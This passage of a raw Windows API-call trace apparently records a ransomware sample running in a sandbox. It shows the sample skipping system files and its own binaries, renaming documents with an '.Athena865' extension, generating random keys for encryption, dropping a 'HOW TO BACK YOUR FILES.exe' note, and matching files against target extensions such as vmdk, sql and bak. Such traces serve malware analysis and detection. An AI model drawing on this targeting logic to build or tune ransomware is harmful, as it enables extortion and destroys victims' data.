phProv=0x241d1c4*=0x519448) returned 1 [0050.657] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.657] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.657] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x15b60, lpName=0x0) returned 0x154 [0050.657] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x15b60) returned 0x100000 [0050.660] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.661] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.661] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.661] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0050.661] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0050.661] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5282a0 [0050.661] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0050.661] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5282a0 | out: hHeap=0x4f0000) returned 1 [0050.661] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0050.661] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0050.661] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0050.661] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0050.661] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0050.661] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0050.662] CloseHandle (hObject=0x154) returned 1 [0050.662] CloseHandle (hObject=0x17c) returned 1 [0050.663] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0050.663] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0050.663] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0050.664] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729bba00, ftCreationTime.dwHighDateTime=0x1d5747d, ftLastAccessTime.dwLowDateTime=0x67d65000, ftLastAccessTime.dwHighDateTime=0x1d56a3f, ftLastWriteTime.dwLowDateTime=0x67d65000, ftLastWriteTime.dwHighDateTime=0x1d56a3f, nFileSizeHigh=0x0, nFileSizeLow=0x6966, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1RVMA-5c0shFPVx.docx", cAlternateFileName="1RVMA-~1.DOC")) returned 1 [0050.664] lstrcmpiW (lpString1="1RVMA-5c0shFPVx.docx", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0050.664] lstrcmpiW (lpString1="1RVMA-5c0shFPVx.docx", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0050.664] lstrcmpiW (lpString1="1RVMA-5c0shFPVx.docx", lpString2=".") returned 1 [0050.664] lstrcmpiW (lpString1="1RVMA-5c0shFPVx.docx", lpString2="..") returned 1 [0050.664] lstrcmpiW (lpString1="1RVMA-5c0shFPVx.docx", lpString2="windows") returned -1 [0050.664] lstrcmpiW (lpString1="1RVMA-5c0shFPVx.docx", lpString2="bootmgr") returned -1 [0050.664] lstrcmpiW (lpString1="1RVMA-5c0shFPVx.docx", lpString2="temp") returned -1 [0050.664] lstrcmpiW (lpString1="1RVMA-5c0shFPVx.docx", lpString2="pagefile.sys") returned -1 [0050.664] lstrcmpiW (lpString1="1RVMA-5c0shFPVx.docx", lpString2="boot") returned -1 [0050.664] lstrcmpiW (lpString1="1RVMA-5c0shFPVx.docx", lpString2="ids.txt") returned -1 [0050.664] lstrcmpiW (lpString1="1RVMA-5c0shFPVx.docx", lpString2="ntuser.dat") returned -1 [0050.664] lstrcmpiW (lpString1="1RVMA-5c0shFPVx.docx", lpString2="perflogs") returned -1 [0050.664] lstrcmpiW (lpString1="1RVMA-5c0shFPVx.docx", lpString2="MSBuild") returned -1 [0050.664] lstrlenW (lpString="1RVMA-5c0shFPVx.docx") returned 20 [0050.664] lstrcpyW (in: lpString1=0x241e8ba, lpString2="1RVMA-5c0shFPVx.docx" | out: lpString1="1RVMA-5c0shFPVx.docx") returned="1RVMA-5c0shFPVx.docx" [0050.664] lstrlenW (lpString="1RVMA-5c0shFPVx.docx") returned 20 [0050.664] lstrlenW (lpString="Athena865") returned 9 [0050.664] lstrcmpiW (lpString1="FPVx.docx", lpString2="Athena865") returned 1 [0050.664] lstrlenW (lpString=".dll") returned 4 [0050.664] lstrcmpiW (lpString1="1RVMA-5c0shFPVx.docx", lpString2=".dll") returned 1 [0050.664] lstrlenW (lpString=".lnk") returned 4 [0050.664] lstrcmpiW (lpString1="1RVMA-5c0shFPVx.docx", lpString2=".lnk") returned 1 [0050.664] lstrlenW (lpString=".ini") returned 4 [0050.665] lstrcmpiW (lpString1="1RVMA-5c0shFPVx.docx", lpString2=".ini") returned 1 [0050.665] lstrlenW (lpString=".sys") returned 4 [0050.665] lstrcmpiW (lpString1="1RVMA-5c0shFPVx.docx", lpString2=".sys") returned 1 [0050.665] lstrlenW (lpString="1RVMA-5c0shFPVx.docx") returned 20 [0050.665] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\1RVMA-5c0shFPVx.docx.Athena865") returned 87 [0050.665] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\1RVMA-5c0shFPVx.docx" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\1rvma-5c0shfpvx.docx"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\1RVMA-5c0shFPVx.docx.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\1rvma-5c0shfpvx.docx.athena865"), dwFlags=0x1) returned 1 [0050.666] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\1RVMA-5c0shFPVx.docx.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\1rvma-5c0shfpvx.docx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0050.666] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=26982) returned 1 [0050.666] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0050.666] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0050.666] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0050.666] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0050.667] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.667] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.667] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6c70, lpName=0x0) returned 0x154 [0050.667] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6c70) returned 0x100000 [0050.668] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.669] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.669] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0050.669] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0050.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5282a0 [0050.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0050.669] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5282a0 | out: hHeap=0x4f0000) returned 1 [0050.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0050.669] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0050.670] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0050.670] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0050.670] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0050.670] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0050.670] CloseHandle (hObject=0x154) returned 1 [0050.670] CloseHandle (hObject=0x17c) returned 1 [0050.671] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0050.671] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0050.671] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0050.671] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5691d820, ftCreationTime.dwHighDateTime=0x1d52b59, ftLastAccessTime.dwLowDateTime=0x86ff4580, ftLastAccessTime.dwHighDateTime=0x1d57062, ftLastWriteTime.dwLowDateTime=0x86ff4580, ftLastWriteTime.dwHighDateTime=0x1d57062, nFileSizeHigh=0x0, nFileSizeLow=0x11bdf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="6gDHUsOfdzBpu1Km.pptx", cAlternateFileName="6GDHUS~1.PPT")) returned 1 [0050.672] lstrcmpiW (lpString1="6gDHUsOfdzBpu1Km.pptx", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0050.672] lstrcmpiW (lpString1="6gDHUsOfdzBpu1Km.pptx", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0050.672] lstrcmpiW (lpString1="6gDHUsOfdzBpu1Km.pptx", lpString2=".") returned 1 [0050.672] lstrcmpiW (lpString1="6gDHUsOfdzBpu1Km.pptx", lpString2="..") returned 1 [0050.672] lstrcmpiW (lpString1="6gDHUsOfdzBpu1Km.pptx", lpString2="windows") returned -1 [0050.672] lstrcmpiW (lpString1="6gDHUsOfdzBpu1Km.pptx", lpString2="bootmgr") returned -1 [0050.672] lstrcmpiW (lpString1="6gDHUsOfdzBpu1Km.pptx", lpString2="temp") returned -1 [0050.672] lstrcmpiW (lpString1="6gDHUsOfdzBpu1Km.pptx", lpString2="pagefile.sys") returned -1 [0050.672] lstrcmpiW (lpString1="6gDHUsOfdzBpu1Km.pptx", lpString2="boot") returned -1 [0050.672] lstrcmpiW (lpString1="6gDHUsOfdzBpu1Km.pptx", lpString2="ids.txt") returned -1 [0050.672] lstrcmpiW (lpString1="6gDHUsOfdzBpu1Km.pptx", lpString2="ntuser.dat") returned -1 [0050.672] lstrcmpiW (lpString1="6gDHUsOfdzBpu1Km.pptx", lpString2="perflogs") returned -1 [0050.672] lstrcmpiW (lpString1="6gDHUsOfdzBpu1Km.pptx", lpString2="MSBuild") returned -1 [0050.672] lstrlenW (lpString="6gDHUsOfdzBpu1Km.pptx") returned 21 [0050.672] lstrcpyW (in: lpString1=0x241e8ba, lpString2="6gDHUsOfdzBpu1Km.pptx" | out: lpString1="6gDHUsOfdzBpu1Km.pptx") returned="6gDHUsOfdzBpu1Km.pptx" [0050.672] lstrlenW (lpString="6gDHUsOfdzBpu1Km.pptx") returned 21 [0050.672] lstrlenW (lpString="Athena865") returned 9 [0050.672] lstrcmpiW (lpString1="u1Km.pptx", lpString2="Athena865") returned 1 [0050.672] lstrlenW (lpString=".dll") returned 4 [0050.672] lstrcmpiW (lpString1="6gDHUsOfdzBpu1Km.pptx", lpString2=".dll") returned 1 [0050.672] lstrlenW (lpString=".lnk") returned 4 [0050.672] lstrcmpiW (lpString1="6gDHUsOfdzBpu1Km.pptx", lpString2=".lnk") returned 1 [0050.672] lstrlenW (lpString=".ini") returned 4 [0050.672] lstrcmpiW (lpString1="6gDHUsOfdzBpu1Km.pptx", lpString2=".ini") returned 1 [0050.672] lstrlenW (lpString=".sys") returned 4 [0050.672] lstrcmpiW (lpString1="6gDHUsOfdzBpu1Km.pptx", lpString2=".sys") returned 1 [0050.672] lstrlenW (lpString="6gDHUsOfdzBpu1Km.pptx") returned 21 [0050.672] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\6gDHUsOfdzBpu1Km.pptx.Athena865") returned 88 [0050.672] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\6gDHUsOfdzBpu1Km.pptx" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\6gdhusofdzbpu1km.pptx"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\6gDHUsOfdzBpu1Km.pptx.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\6gdhusofdzbpu1km.pptx.athena865"), dwFlags=0x1) returned 1 [0050.673] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\6gDHUsOfdzBpu1Km.pptx.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\6gdhusofdzbpu1km.pptx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0050.673] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=72671) returned 1 [0050.673] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0050.674] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0050.674] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0050.674] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0050.674] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.674] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.675] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11ee0, lpName=0x0) returned 0x154 [0050.675] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11ee0) returned 0x100000 [0050.677] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.678] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.678] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.678] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0050.678] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0050.678] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5282a0 [0050.678] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0050.678] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5282a0 | out: hHeap=0x4f0000) returned 1 [0050.678] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0050.678] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0050.678] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0050.679] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0050.679] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0050.679] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0050.679] CloseHandle (hObject=0x154) returned 1 [0050.679] CloseHandle (hObject=0x17c) returned 1 [0050.680] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0050.680] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0050.681] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0050.681] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4533d4c0, ftCreationTime.dwHighDateTime=0x1d4d30c, ftLastAccessTime.dwLowDateTime=0x3e209a00, ftLastAccessTime.dwHighDateTime=0x1d4d416, ftLastWriteTime.dwLowDateTime=0x3e209a00, ftLastWriteTime.dwHighDateTime=0x1d4d416, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="al9qeSvEUMbs", cAlternateFileName="AL9QES~1")) returned 1 [0050.681] lstrcmpiW (lpString1="al9qeSvEUMbs", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0050.681] lstrcmpiW (lpString1="al9qeSvEUMbs", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0050.681] lstrcmpiW (lpString1="al9qeSvEUMbs", lpString2=".") returned 1 [0050.681] lstrcmpiW (lpString1="al9qeSvEUMbs", lpString2="..") returned 1 [0050.681] lstrcmpiW (lpString1="al9qeSvEUMbs", lpString2="windows") returned -1 [0050.681] lstrcmpiW (lpString1="al9qeSvEUMbs", lpString2="bootmgr") returned -1 [0050.681] lstrcmpiW (lpString1="al9qeSvEUMbs", lpString2="temp") returned -1 [0050.681] lstrcmpiW (lpString1="al9qeSvEUMbs", lpString2="pagefile.sys") returned -1 [0050.681] lstrcmpiW (lpString1="al9qeSvEUMbs", lpString2="boot") returned -1 [0050.681] lstrcmpiW (lpString1="al9qeSvEUMbs", lpString2="ids.txt") returned -1 [0050.681] lstrcmpiW (lpString1="al9qeSvEUMbs", lpString2="ntuser.dat") returned -1 [0050.681] lstrcmpiW (lpString1="al9qeSvEUMbs", lpString2="perflogs") returned -1 [0050.681] lstrcmpiW (lpString1="al9qeSvEUMbs", lpString2="MSBuild") returned -1 [0050.681] lstrlenW (lpString="al9qeSvEUMbs") returned 12 [0050.681] lstrcpyW (in: lpString1=0x241e8ba, lpString2="al9qeSvEUMbs" | out: lpString1="al9qeSvEUMbs") returned="al9qeSvEUMbs" [0050.681] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c470 [0050.682] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8c) returned 0x50e8b8 [0050.682] lstrcatW (in: lpString1="al9qeSvEUMbs", lpString2="\\" | out: lpString1="al9qeSvEUMbs\\") returned="al9qeSvEUMbs\\" [0050.682] lstrcatW (in: lpString1="al9qeSvEUMbs\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="al9qeSvEUMbs\\HOW TO BACK YOUR FILES.exe") returned="al9qeSvEUMbs\\HOW TO BACK YOUR FILES.exe" [0050.682] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\al9qeSvEUMbs\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\al9qesveumbs\\how to back your files.exe"), bFailIfExists=1) returned 1 [0050.684] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6044bc0, ftCreationTime.dwHighDateTime=0x1d52237, ftLastAccessTime.dwLowDateTime=0x425d7580, ftLastAccessTime.dwHighDateTime=0x1d534af, ftLastWriteTime.dwLowDateTime=0x425d7580, ftLastWriteTime.dwHighDateTime=0x1d534af, nFileSizeHigh=0x0, nFileSizeLow=0x8a80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bDM-N-Hfz63KpsbyDOQ.pptx", cAlternateFileName="BDM-N-~1.PPT")) returned 1 [0050.684] lstrcmpiW (lpString1="bDM-N-Hfz63KpsbyDOQ.pptx", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0050.684] lstrcmpiW (lpString1="bDM-N-Hfz63KpsbyDOQ.pptx", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0050.684] lstrcmpiW (lpString1="bDM-N-Hfz63KpsbyDOQ.pptx", lpString2=".") returned 1 [0050.684] lstrcmpiW (lpString1="bDM-N-Hfz63KpsbyDOQ.pptx", lpString2="..") returned 1 [0050.684] lstrcmpiW (lpString1="bDM-N-Hfz63KpsbyDOQ.pptx", lpString2="windows") returned -1 [0050.684] lstrcmpiW (lpString1="bDM-N-Hfz63KpsbyDOQ.pptx", lpString2="bootmgr") returned -1 [0050.684] lstrcmpiW (lpString1="bDM-N-Hfz63KpsbyDOQ.pptx", lpString2="temp") returned -1 [0050.684] lstrcmpiW (lpString1="bDM-N-Hfz63KpsbyDOQ.pptx", lpString2="pagefile.sys") returned -1 [0050.684] lstrcmpiW (lpString1="bDM-N-Hfz63KpsbyDOQ.pptx", lpString2="boot") returned -1 [0050.684] lstrcmpiW (lpString1="bDM-N-Hfz63KpsbyDOQ.pptx", lpString2="ids.txt") returned -1 [0050.684] lstrcmpiW (lpString1="bDM-N-Hfz63KpsbyDOQ.pptx", lpString2="ntuser.dat") returned -1 [0050.684] lstrcmpiW (lpString1="bDM-N-Hfz63KpsbyDOQ.pptx", lpString2="perflogs") returned -1 [0050.684] lstrcmpiW (lpString1="bDM-N-Hfz63KpsbyDOQ.pptx", lpString2="MSBuild") returned -1 [0050.684] lstrlenW (lpString="bDM-N-Hfz63KpsbyDOQ.pptx") returned 24 [0050.684] lstrcpyW (in: lpString1=0x241e8ba, lpString2="bDM-N-Hfz63KpsbyDOQ.pptx" | out: lpString1="bDM-N-Hfz63KpsbyDOQ.pptx") returned="bDM-N-Hfz63KpsbyDOQ.pptx" [0050.684] lstrlenW (lpString="bDM-N-Hfz63KpsbyDOQ.pptx") returned 24 [0050.684] lstrlenW (lpString="Athena865") returned 9 [0050.684] lstrcmpiW (lpString1="yDOQ.pptx", lpString2="Athena865") returned 1 [0050.684] lstrlenW (lpString=".dll") returned 4 [0050.684] lstrcmpiW (lpString1="bDM-N-Hfz63KpsbyDOQ.pptx", lpString2=".dll") returned 1 [0050.684] lstrlenW (lpString=".lnk") returned 4 [0050.684] lstrcmpiW (lpString1="bDM-N-Hfz63KpsbyDOQ.pptx", lpString2=".lnk") returned 1 [0050.684] lstrlenW (lpString=".ini") returned 4 [0050.684] lstrcmpiW (lpString1="bDM-N-Hfz63KpsbyDOQ.pptx", lpString2=".ini") returned 1 [0050.684] lstrlenW (lpString=".sys") returned 4 [0050.684] lstrcmpiW (lpString1="bDM-N-Hfz63KpsbyDOQ.pptx", lpString2=".sys") returned 1 [0050.685] lstrlenW (lpString="bDM-N-Hfz63KpsbyDOQ.pptx") returned 24 [0050.685] lstrlenW (lpString="bak") returned 3 [0050.685] lstrcmpiW (lpString1="ptx", lpString2="bak") returned 1 [0050.685] lstrlenW (lpString="ba_") returned 3 [0050.685] lstrcmpiW (lpString1="ptx", lpString2="ba_") returned 1 [0050.685] lstrlenW (lpString="dbb") returned 3 [0050.685] lstrcmpiW (lpString1="ptx", lpString2="dbb") returned 1 [0050.685] lstrlenW (lpString="vmdk") returned 4 [0050.685] lstrcmpiW (lpString1="pptx", lpString2="vmdk") returned -1 [0050.685] lstrlenW (lpString="rar") returned 3 [0050.685] lstrcmpiW (lpString1="ptx", lpString2="rar") returned -1 [0050.685] lstrlenW (lpString="zip") returned 3 [0050.685] lstrcmpiW (lpString1="ptx", lpString2="zip") returned -1 [0050.685] lstrlenW (lpString="tgz") returned 3 [0050.685] lstrcmpiW (lpString1="ptx", lpString2="tgz") returned -1 [0050.685] lstrlenW (lpString="vbox") returned 4 [0050.685] lstrcmpiW (lpString1="pptx", lpString2="vbox") returned -1 [0050.685] lstrlenW (lpString="vdi") returned 3 [0050.685] lstrcmpiW (lpString1="ptx", lpString2="vdi") returned -1 [0050.685] lstrlenW (lpString="vhd") returned 3 [0050.685] lstrcmpiW (lpString1="ptx", lpString2="vhd") returned -1 [0050.685] lstrlenW (lpString="vhdx") returned 4 [0050.685] lstrcmpiW (lpString1="pptx", lpString2="vhdx") returned -1 [0050.685] lstrlenW (lpString="avhd") returned 4 [0050.685] lstrcmpiW (lpString1="pptx", lpString2="avhd") returned 1 [0050.685] lstrlenW (lpString="db") returned 2 [0050.685] lstrcmpiW (lpString1="tx", lpString2="db") returned 1 [0050.685] lstrlenW (lpString="db2") returned 3 [0050.685] lstrcmpiW (lpString1="ptx", lpString2="db2") returned 1 [0050.685] lstrlenW (lpString="db3") returned 3 [0050.685] lstrcmpiW (lpString1="ptx", lpString2="db3") returned 1 [0050.685] lstrlenW (lpString="dbf") returned 3 [0050.685] lstrcmpiW (lpString1="ptx", lpString2="dbf") returned 1 [0050.685] lstrlenW (lpString="mdf") returned 3 [0050.686] lstrcmpiW (lpString1="ptx", lpString2="mdf") returned 1 [0050.686] lstrlenW (lpString="mdb") returned 3 [0050.686] lstrcmpiW (lpString1="ptx", lpString2="mdb") returned 1 [0050.686] lstrlenW (lpString="sql") returned 3 [0050.686] lstrcmpiW (lpString1="ptx", lpString2="sql") returned -1 [0050.686] lstrlenW (lpString="sqlite") returned 6 [0050.686] lstrcmpiW (lpString1="Q.pptx", lpString2="sqlite") returned -1 [0050.686] lstrlenW (lpString="sqlite3") returned 7 [0050.686] lstrcmpiW (lpString1="OQ.pptx", lpString2="sqlite3") returned -1 [0050.686] lstrlenW (lpString="sqlitedb") returned 8 [0050.686] lstrcmpiW (lpString1="DOQ.pptx", lpString2="sqlitedb") returned -1 [0050.686] lstrlenW (lpString="xml") returned 3 [0050.686] lstrcmpiW (lpString1="ptx", lpString2="xml") returned -1 [0050.686] lstrlenW (lpString="$er") returned 3 [0050.686] lstrcmpiW (lpString1="ptx", lpString2="$er") returned 1 [0050.686] lstrlenW (lpString="4dd") returned 3 [0050.686] lstrcmpiW (lpString1="ptx", lpString2="4dd") returned 1 [0050.686] lstrlenW (lpString="4dl") returned 3 [0050.686] lstrcmpiW (lpString1="ptx", lpString2="4dl") returned 1 [0050.686] lstrlenW (lpString="^^^") returned 3 [0050.686] lstrcmpiW (lpString1="ptx", lpString2="^^^") returned 1 [0050.686] lstrlenW (lpString="abs") returned 3 [0050.686] lstrcmpiW (lpString1="ptx", lpString2="abs") returned 1 [0050.686] lstrlenW (lpString="abx") returned 3 [0050.686] lstrcmpiW (lpString1="ptx", lpString2="abx") returned 1 [0050.686] lstrlenW (lpString="accdb") returned 5 [0050.686] lstrcmpiW (lpString1=".pptx", lpString2="accdb") returned -1 